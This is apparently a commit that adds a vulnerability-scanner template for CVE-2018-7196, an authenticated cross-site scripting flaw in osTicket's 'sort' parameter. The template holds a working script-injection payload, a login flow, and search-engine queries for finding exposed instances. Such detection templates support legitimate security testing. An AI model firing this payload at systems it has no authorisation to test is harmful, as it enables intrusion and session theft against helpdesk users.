Create CVE-2018-7196.yaml

http/cves/2018/CVE-2018-7196.yaml

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+id: CVE-2018-7196
+
+info:
+  name: osTicket < 1.10.2 - Cross-Site Scripting
+  author: ritikchaddha
+  severity: medium
+  description: |
+    Cross-site scripting (XSS) vulnerability in /scp/index.php in Enhancesoft osTicket before 1.10.2 allows remote attackers to inject arbitrary web script or HTML via the "sort" parameter.
+  impact: |
+    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft or unauthorized actions.
+  remediation: |
+    Upgrade osTicket to later version to mitigate this vulnerability.
+  reference:
+    - https://blog.securityevaluators.com/vulnerabilities-found-in-popular-ticketing-system-dd273bda229c
+    - https://nvd.nist.gov/vuln/detail/CVE-2018-7196
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 6.1
+    cve-id: CVE-2018-7196
+    cwe-id: CWE-79
+    cpe: cpe:2.3:a:osticket:osticket:*:*:*:*:*:*:*:*
+  metadata:
+    max-request: 3
+    vendor: osticket
+    product: osticket
+    shodan-query: title:"osTicket"
+    fofa-query: title="osticket"
+    google-query: intitle:"osticket"
+  tags: cve,cve2018,osticket,xss,authenticated
+
+flow: http(1) && http(2)
+
+http:
+  - raw:
+      - |
+        GET /scp/login.php HTTP/1.1
+        Host: {{Hostname}}
+
+    matchers:
+      - type: dsl
+        dsl:
+          - 'contains(tolower(body), "osticket")'
+        internal: true
+
+    extractors:
+      - type: regex
+        name: csrftoken
+        part: body
+        group: 1
+        regex:
+          - '__CSRFToken__" value="(.*?)"'
+        internal: true
+
+  - raw:
+      - |
+        POST /scp/login.php HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
+
+        __CSRFToken__={{csrftoken}}&do=scplogin&userid={{username}}&passwd={{password}}&ajax=1
+
+      - |
+        GET /scp/index.php?sort="><script>alert(document.domain);</script>&dir=1 HTTP/1.1
+        Host: {{Hostname}}
+
+    matchers:
+      - type: dsl
+        dsl:
+          - 'contains(body, "\"><script>alert(document.domain);</script>")'
+          - 'contains(header, "text/html")'
+          - 'status_code == 200'
+        condition: and